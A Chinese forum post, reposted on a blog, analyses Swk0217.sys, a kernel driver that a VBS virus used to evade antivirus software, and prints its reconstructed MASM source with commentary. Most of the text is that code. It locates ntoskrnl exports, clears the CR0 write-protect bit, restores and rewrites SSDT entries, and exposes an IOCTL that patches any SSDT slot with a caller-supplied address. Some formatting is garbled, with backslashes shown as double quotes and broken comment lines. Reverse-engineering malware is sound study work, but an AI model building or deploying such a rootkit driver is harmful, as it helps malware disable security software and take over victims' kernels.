RootKit 应用之[二] SSDT hook

标 题: RootKit 应用之[二] SSDT hook
作 者: combojiang
时 间: 2008-01-12,23:00
链 接: http://bbs.pediy.com/showthread.php?t=58199

哈,好大一场雪啊,2008年的第一场雪,比以往来得早些。外面的雪在下,透过书房的窗,欣赏着外面的雪和过往的车辆,欣赏之余,便有了想写点东西的冲动。于是便有了本篇。


谈到ssdt hook,先前有堕落天才的一篇文章《http://bbs1.pediy.com/showthread.php?p=285856#poststop"]SSDT Hook的妙用-对抗ring0 inline hook
》大家如果对基本概念不了解的话,可以看看这篇文章。另外,有一篇博客上也绘声绘色的描述了它。简单说说SSDT

今天我们透过一个实例看看它的应用,这个实例来源于sudami前面发出的一篇文章
一VBS病毒过IS和微点了,无语...,夜深人静,我便把里面的Swk0217.sys逆向来看,写得很不错。

该病毒是vbs调用驱动完成的。swk0217d的主要功能是:

1。获取ssdt函数个数
2。获取ssdt函数表中的所有函数
3。hook ZwQuerySystemInformation
4
。unhook ZwQuerySystemInformation
5
。根据用户给定的函数地址和ssdt表中的索引,修改ssdt表。

注:
1)其中在hook ZwQuerySystemInformation执行时,首先通过ZwQuerySystemInformation找出ntosknrl.exe 模块的内存加载位置,然后通过ntosknrl.exe的导出表找出函数NtQuerySystemInformation的地址。然后hook ZwQuerySystemInformation。各位看官,作者的主要目的是防止SSDT中该函数被挂钩,因此作者在这里做了恢复.病毒作者要使用这个函数,但是害怕这个函数已经被别人做了手脚。

2)unhook ZwQuerySystemInformation时,作者使用完该函数后又恢复了ssdt原有的状态。


.386
.model flat,stdcall
option casemap:none


include w2k"ntstatus.inc
include w2k"ntddk.inc

include w2k"ntoskrnl.inc
includelib C:"RadASM"masm32"lib"w2k"ntoskrnl.lib
include Swk0207.inc

.data
unk_10B80 db  4Eh ; N
          db  0E6h  ; ?
          db  40h  ; @
          db  0BBh  ; ?
OldSSDTValueOfZwQuerySystemInformation dd 0

.code
;              6E 74 6F 73 6B 72 6E 6C 2E 65 78 65 00 CC 6A 24 = ntoskrnl.exe,0   int3  push 24h
FunctionArray dd 736F746Eh, 6C6E726Bh, 6578652Eh,246ACC00h

;***********************************************************************************************
; ZwQuerySystemInformation
获取ntoskrnl.exe的内存加载地址
;***********************************************************************************************

;typedef struct _SYSTEM_MODULE_INFORMATION  // Information Class 11
;{
;    ULONG  Reserved[2];  +0
;    PVOID  Base;         +08h
;    ULONG  Size;         +0ch
;    ULONG  Flags;        +10h
;    USHORT Index;        +14h
;    USHORT Unknown;      +16h
;    USHORT LoadCount;    +18h
;    USHORT ModuleNameOffset; +1Ah
;    CHAR   ImageName[256];   +1Ch
;} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

;typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) 
;                  ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, 
;                    IN OUT PVOID SystemInformation, 
;                    IN ULONG SystemInformationLength, 
;                    OUT PULONG ReturnLength OPTIONAL );

;typedef struct _tagSysModuleList {
;    ULONG ulCount;
;    SYSTEM_MODULE_INFORMATION smi[1];
;} SYSMODULELIST, *PSYSMODULELIST;

;
用法如下:
;s = NtQuerySystemInformation( SystemModuleInformation, pRet,
;sizeof( SYSMODULELIST ), &nRetSize );

  xor  ebx, ebx
  mov  [ebp-24h], ebx
  mov  [ebp-4], ebx
  
  lea  eax, [ebp-1Ch] 
  push  eax          ;ReturnLength
  push  ebx          ;SystemInformationLength = 0
  lea  eax, [ebp-20h]   
  push  eax          ;SystemInformation
  push  0Bh          ;SystemModuleInformation,
遍历模块
  mov  esi, ZwQuerySystemInformation
  call  esi ; ZwQuerySystemInformation ,
第一次调用得到需要的缓冲区长度
  
  mov  [ebp-28h], eax
  cmp  eax, 0C0000004h
  jnz  ERRORRET
  
  push  206B6444h ;   ' kdD'
标签
  push  dword ptr [ebp-1Ch] ;申请的长度
  push  ebx                 ;NonPagedPool
  call  ExAllocatePoolWithTag
  mov  edi, eax
  mov  [ebp-30h], edi   ;
保留返回值
  
  cmp  edi, ebx        ;判断返回值是否为空
  jnz  NextStep
  or  dword ptr [ebp-4], 0FFFFFFFFh
  xor  eax, eax
  jmp  ErrAllocMem
  
NextStep:
  lea  eax, [ebp-34h]          ;ReturnLength
  push  eax
  push  dword ptr [ebp-1Ch] ;SystemInformationLength
  push  edi                 ;SystemInformation
  push  0Bh                 ;SystemModuleInformation
  call  esi                 ; ZwQuerySystemInformation
  mov  [ebp-28h], eax
  
  cmp  eax, ebx
  jl  ReleaseMemory
  
  mov  eax, [edi]
  mov  [ebp-1Ch], eax  ;
保留ZwQuerySystemInformation返回的SYSTEM_MODULE_INFORMATION元素个数
  lea  esi, [edi+4]  
  mov  [ebp-2Ch], esi  ;
保留返回的SYSTEM_MODULE_INFORMATION数组首地址
  mov  [ebp-20h], ebx  ;计数变量清零
  
FORLOOP:
  mov  eax, [ebp-1Ch] ;开始for循环
  cmp  [ebp-20h], eax
  jnb  ReleaseMemory
  push  offset FunctionArray
  
  ; 
例如: ImageName: windows"system32"ndis.sys, 那么 ModuleNameOffset 就是 0x11  
  movzx  eax, word ptr [esi+1Ah] ;SYSTEM_MODULE_INFORMATION.ModuleNameOffset ,指向名字的偏移
  lea  eax, [eax+esi+1Ch]  ;SYSTEM_MODULE_INFORMATION.ImageName + SYSTEM_MODULE_INFORMATION.ModuleNameOffset
  push  eax   ;
不包含路径的名字
  call  _stricmp
  pop  ecx             ;
出栈
  pop  ecx
  test  eax, eax
  jnz  ContinueLoop
  mov  eax, [esi+8]    ;
返回SYSTEM_MODULE_INFORMATION.Base
  mov  [ebp-24h], eax  ;返回值保存在[ebp-24h]单元
  
ReleaseMemory:
  push  edi
  call  ExFreePool
  jmp      ERRORRET
  
ContinueLoop:
  inc  dword ptr [ebp-20h] ;
循环变量递增
  add  esi, 11Ch           ;取下一个SYSTEM_MODULE_INFORMATION类型元素
  mov  [ebp-2Ch], esi      ;暂存当前的SYSTEM_MODULE_INFORMATION元素
  jmp  FORLOOP


SehFunction     proc near               
    mov     esp, [ebp-18h]
ERRORRET::                                                               
    or      dword ptr [ebp-4], 0FFFFFFFFh
    mov     eax, [ebp-24h]
ErrAllocMem::                             
    ret
SehFunction    endp


;********************************************************************************************
相当于GetProcessAddress的功能, hModule是指ntoskrnl.exe模块,查找该PE导出表,
; 找出pFunctionName的函数地址.
; 工作原理: 遍历导出表中的AddressOfFunctions,每取出一个函数地址,都根据其在AddressOfFunctions中的
;           索引,遍历整个的AddressOfNames表和AddressOfNameOrdinals表,找出序号跟AddressOfFunctions
;           索引相匹配的函数名,比对函数名和输入参数2是否相同,相同则从AddressOfFunctions中返回当前函数
;           的地址,不同则继续找...
;********************************************************************************************
GetProcessFromNtoskrnl proc hModule:dword,FunctionName:dword

  LOCAL AddressOfNameOrdinals:dword;
函数名序号表
  LOCAL AddressOfNames:dword       ;函数名地址表
  LOCAL OutputTable:dword          ;导出表地址
  LOCAL AddressOfFunctions:dword   ;指向导出函数地址表中的指针
  LOCAL pFunctionName:dword        ;函数名
  LOCAL i:dword                    ;循环变量
  LOCAL CurAddressOfNameOrdinals:dword ;当前函数名序号
  LOCAL CurAddressOfNames:dword        ;当前的函数名地址
  LOCAL nIndex:dword                   ;循环变量
  LOCAL myFoundOutFunctionName:dword   ;我们从函数名地址表中找出的函数名指针
  LOCAL InputFunctionName:dword         ;输入的函数名指针,指向参数2
  LOCAL SecondCharacterOfFunctionName:byte
  LOCAL FirstCharacterOfFunctionName:byte
  
  mov  edx, hModule
  mov  eax, [edx+3Ch]
  add  eax, edx           ; 
指向PEHeader
  cmp  word ptr [edx],  5A4Dh ; 'MZ'
  jnz  Quit
  cmp  dword ptr [eax], 4550h ;'PE'
  jnz  Quit
  mov  eax, [eax+78h]
  add  eax, edx          ;
指向导出表
  mov  OutputTable, eax
  
  mov  edi, [eax+20h] ; IMAGE_EXPORT_DIRECTORY.AddressOfNames 
  add  edi, edx
  mov  AddressOfNames, edi
  
  mov  esi, [eax+1Ch] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
  add  esi, edx
  mov  AddressOfFunctions, esi
  
  mov  ecx, [eax+24h] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
  add  ecx, edx
  mov  AddressOfNameOrdinals, ecx
  
  and  nIndex, 0
  mov  edx, pFunctionName
  
StartSearch:
  mov  ebx, nIndex
  cmp  ebx, [eax+14h] ;IMAGE_EXPORT_DIRECTORY.NumberOfFunctions
  jnb  Quit
  
  cmp  dword ptr [esi], 0 ;
判断AddressOfFunctions中第一个函数地址是否为空
  jz  NextAddressOfFunction          ;如果为空,就取IMAGE_EXPORT_DIRECTORY.AddressOfFunctions表中的下一个函数
  
  mov  CurAddressOfNames, edi
  mov  CurAddressOfNameOrdinals, ecx
  and  i, 0
  
StartFindFunctionFromAddressOfNames:
  mov  ebx, i
  cmp  ebx, [eax+18h]   ;IMAGE_EXPORT_DIRECTORY.NumberOfNames 
  jnb  OutOfRange
  mov  ebx, CurAddressOfNameOrdinals
  movzx  ebx, word ptr [ebx]
  cmp  ebx, nIndex      ;
判断从AddressOfFunctions得到的序号,跟AddressOfNameOrdinals得到序号是否一致
  jnz  NextAddressOfNameOrdinals
  mov  edx, CurAddressOfNames
  mov  edx, [edx]
  add  edx, hModule
  mov  pFunctionName, edx   ;
取出函数名
  
OutOfRange:
  test  edx, edx        ;
判断是否空
  jz  ContinueWork
  
  mov  myFoundOutFunctionName, edx    ;
暂存函数名
  mov  edx, FunctionName
  mov  InputFunctionName, edx         ;
暂存输入的函数名
  
CompareFunctionName:
  mov  edx, InputFunctionName
  mov  dl, [edx]
  mov  FirstCharacterOfFunctionName, dl
  mov  ebx, myFoundOutFunctionName
  cmp  dl, [ebx]
  jnz  Different     ;
不相同
  test dl, dl       ;判断InputFunctionName是否为空,如果为空,就返回函数地址表中的第一个
  jz  RetCurrentFunctionAddress
  
  mov  edx, InputFunctionName  ;
比对函数名中的下一个字符
  mov  dl, [edx+1]
  mov  SecondCharacterOfFunctionName, dl
  cmp  dl, [ebx+1]
  jnz  Different
  
  add  InputFunctionName, 2
  add  myFoundOutFunctionName, 2
  test  dl, dl
  jnz   CompareFunctionName
  
RetCurrentFunctionAddress:
  xor  edx, edx           ;edx = 0,
表示找到对应的函数
  jmp  GetFunctionAddress
  
NextAddressOfNameOrdinals:
  add  CurAddressOfNames, 4
  add  CurAddressOfNameOrdinals, 2
  inc  i
  jmp  StartFindFunctionFromAddressOfNames
  
Different:
  sbb  edx, edx
  sbb  edx, 0FFFFFFFFh  ;edx = 1,
表示没有找到对应的函数,继续找
  
GetFunctionAddress:
  test  edx, edx
  jnz  ContinueWork
  
  mov  esi, [esi]
  add  esi, hModule
  mov  eax, esi      ;
返回函数地址
  jmp  Founded
  
ContinueWork:
  xor  edx, edx
  mov  pFunctionName, edx
  
NextAddressOfFunction:
  add  esi, 4
  mov  AddressOfFunctions, esi
  inc  nIndex
  jmp  StartSearch
  
Quit:
  xor  eax, eax  
Founded:
  ret
GetProcessFromNtoskrnl endp


;**************************************************************************
给出一个索引值和一个函数地址,修改ssdt
;**************************************************************************
HookSSDTByFunIndex proc Value:dword,Index:dword
  
  mov  ecx, Index
  mov  eax, KeServiceDescriptorTable
  cmp  ecx, [eax+8]  ;NumberOfService
  jb  @f
  xor  al, al
  jmp  Quit
  
@@:
    ;
去掉写保护
  push  eax
  mov  eax, cr0
  and  eax, 0FFFEFFFFh
  mov  cr0, eax
  pop  eax
  
  mov  eax, KeServiceDescriptorTable
  mov  eax, [eax]
  mov  edx, Value; Value
  lea  ecx, [eax+ecx*4] ; Target
  call  InterlockedExchange
  
  ;
恢复写保护
  push  eax
  mov  eax, cr0
  or  eax, 10000h
  mov  cr0, eax
  pop  eax
  
Quit:
  ret
HookSSDTByFunIndex endp

;**************************************************************************
; hook ZwQuerySystemInfomation,
替换为NtQuerySystemInformation ,返回值为原来的值
;**************************************************************************
HookSSDT proc Value:dword,FunAddr:dword
  push  eax
  ;
去掉写保护
  mov  eax, cr0
  and  eax, 0FFFEFFFFh
  mov  cr0, eax  
  pop  eax
  
  mov  ecx, KeServiceDescriptorTable
  mov  eax, FunAddr
  mov  eax, [eax+1] ;
通过ZwQuerySystemInfomation得到ssdt中的index
  mov  ecx, [ecx]   ;ServiceTableBase
  mov  edx, Value   ; Value
  lea  ecx, [ecx+eax*4] ; Target
  call  InterlockedExchange
  mov  ecx, eax
  push  eax
  
  ;
恢复写保护
  mov  eax, cr0
  or  eax, 10000h
  mov  cr0, eax
  
  pop  eax
  mov  eax, ecx
  ret
HookSSDT endp


SourceString wchar L(<""DosDevices""Swk0217"0>)


swkUnLoad proc pDriverObject :dword
  LOCAL DestinationString:UNICODE_STRING

  push  ecx
  push  ecx
  push  offset SourceString ; SourceString
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitUnicodeString
  lea  eax, DestinationString
  push  eax    ; SymbolicLinkName
  call  IoDeleteSymbolicLink
  mov  eax, pDriverObject 
  push  dword ptr [eax+4] ; DeviceObject
  call  IoDeleteDevice
  
  ret
swkUnLoad endp

aNtquerysystemi  db 'NtQuerySystemInformation',0

DispatchFunction:
  push  esi               
  mov  esi, [esp+0Ch]   ;pIrp
  mov  eax, [esi+60h]   ;
IRP.CurrentStackLocation
  
  and  dword ptr [esi+18h], 0 ;将IRP中的IoStatus置零,这个结构体见ntddk.inc
  and  dword ptr [esi+1Ch], 0
  
  cmp  byte ptr [eax],  0Eh  ;IO_STACK_LOCATION.MajorFunction 
  mov  edx, [esi+0Ch]       ;IRP.AssociatedIrp.SystemBuffer
  mov  ecx, [eax+8]         ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
  push  edi
  jnz  CreateAndClose
  mov  eax, [eax+0Ch]       ;IoControlCode
  cmp  eax, 83471060h       
  jz  GetSSDTNum           ;
获取ssdt函数个数
  cmp  eax, 83471064h
  jz  GetSSDTFunction      ;
获取ssdt函数表
  cmp  eax, 83471068h
  jz  HookZwQuerySystemInformation ;hook ZwQuerySystemInformation
  cmp  eax, 8347106Ch
  jz  RestoreHookSSDT      ;
恢复前面hook的ZwQuerySystemInformation
  cmp  eax, 83471070h
  jz  ModifySSDTByFunIndex ;
根据用户给定的函数地址和ssdt表中的索引,修改ssdt
  mov  dword ptr [esi+18h], 0C000000Dh  ;IoStatus
  jmp  CreateAndClose
  
ModifySSDTByFunIndex:
  push  8
  pop  edi
  cmp  ecx, edi  ;
判断InputBufferLength是否等于8
  jnz  CreateAndClose
  push  dword ptr [edx+4] ;SystemBuffer
中第二个dword值,代表一个ssdt表中的索引
  push  dword ptr [edx]   ;;SystemBuffer中第一个dword值,代表一个给定的函数地址
  call  HookSSDTByFunIndex
  test  al, al
  jz  CreateAndClose
  mov  [esi+1Ch], edi
  jmp  CreateAndClose
  
RestoreHookSSDT:  ;
恢复ssdt
  mov  eax, OldSSDTValueOfZwQuerySystemInformation
  test  eax, eax
  jz  CreateAndClose
  mov  ecx, ZwQuerySystemInformation
  cmp  eax, ecx
  jz  HaveDone
  push  ecx
  push  eax
  call  HookSSDT
  
HaveDone:
  and  OldSSDTValueOfZwQuerySystemInformation, 0
  jmp  CreateAndClose
  
HookZwQuerySystemInformation:
  call  near ptr FunctionArray+0Eh  ;
执行 push 24h,通过ZwQuerySystemInformation获取ntoskrnl.exe的内存加载地址
  test  eax, eax
  jz  CreateAndClose
  push  offset aNtquerysystemi     ; "NtQuerySystemInformation"
  push  eax
  call  GetProcessFromNtoskrnl
  mov  ecx, ZwQuerySystemInformation
  cmp  eax, ecx
  jz  CreateAndClose
  push  ecx
  push  eax
  call  HookSSDT
  mov  OldSSDTValueOfZwQuerySystemInformation, eax ;
保存原ssdt表中函数地址
  jmp  CreateAndClose
  
GetSSDTFunction:
  mov  eax, KeServiceDescriptorTable
  mov  edi, [eax+8] ;NumberOfService
  push  ebx
  mov  ebx, edi
  shl  ebx, 2       ;NumberOfService*4
  cmp  ecx, ebx     ;
比较输入长度与NumberOfService*4,判断申请的缓冲区是否够
  pop  ebx
  jb  CreateAndClose
  xor  ecx, ecx
  test  edi, edi
  jbe  GetSSDTFunctionErr
  
GetNextSSDTFunction:
  mov  eax, [eax]
  mov  eax, [eax+ecx*4]
  mov  [edx+ecx*4], eax
  mov  eax, KeServiceDescriptorTable
  inc  ecx
  cmp  ecx, [eax+8]
  jb  GetNextSSDTFunction
  
GetSSDTFunctionErr:
  mov  eax, [eax+8]
  shl  eax, 2
  jmp  Quit
  
GetSSDTNum:
  push  4
  pop  eax
  cmp  ecx, eax ;
输入长度<4跳转
  jb  CreateAndClose
  mov  ecx, KeServiceDescriptorTable
  mov  ecx, [ecx+8] ;NumberOfService
  mov  [edx], ecx  ;edx
指向IRP.AssociatedIrp.SystemBuffer
  
Quit:
  mov  [esi+1Ch], eax
  
CreateAndClose:
  mov  edi, [esi+18h] ;IoStatus
  xor  dl, dl
  mov  ecx, esi
  call  IofCompleteRequest
  mov  eax, edi
  pop  edi
  pop  esi
  ret


wcharDeviceName wchar L(<""Device""Swk0217"0>)
wcharSymbolicLink wchar L(<""DosDevices""Swk0217"0>)


start proc DriverObject:dword
  LOCAL SymbolicLinkName:UNICODE_STRING
  LOCAL DestinationString:UNICODE_STRING
  LOCAL DeviceObject:dword
  
  and  DeviceObject, 0
  push  esi
  push  edi
  mov  edi, RtlInitUnicodeString
  push  offset wcharDeviceName ; SourceString
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  edi             ; RtlInitUnicodeString
  mov  esi, DriverObject
  lea  eax, DeviceObject
  push  eax    ; DeviceObject
  push  0    ; Exclusive
  push  0    ; DeviceCharacteristics
  push  598347h    ; DeviceType
  lea  eax, DestinationString
  push  eax    ; DeviceName
  push  0    ; DeviceExtensionSize
  push  esi    ; DriverObject
  call  IoCreateDevice
  test  eax, eax
  jl  @f
  push  offset wcharSymbolicLink ; SourceString
  lea  eax, SymbolicLinkName
  push  eax    ; DestinationString
  call  edi ; RtlInitUnicodeString
  lea  eax, DestinationString
  push  eax    ; DeviceName
  lea  eax, SymbolicLinkName
  push  eax    ; SymbolicLinkName
  call  IoCreateSymbolicLink
  mov  ecx, offset DispatchFunction
  mov  [esi+70h], ecx ;IRP_MJ_DEVICE_CONTROL
  mov  [esi+40h], ecx ;IRP_MJ_CLOSE
  mov  [esi+38h], ecx ;IRP_MJ_CREATE
  mov  dword ptr [esi+34h], offset swkUnLoad ;DriverObject.DriverUnLoad
  
@@:
  pop  edi
  pop  esi
  ret
start endp

end start
 

posted on 2009-09-23 13:16  dflower  阅读(477)  评论(0编辑  收藏  举报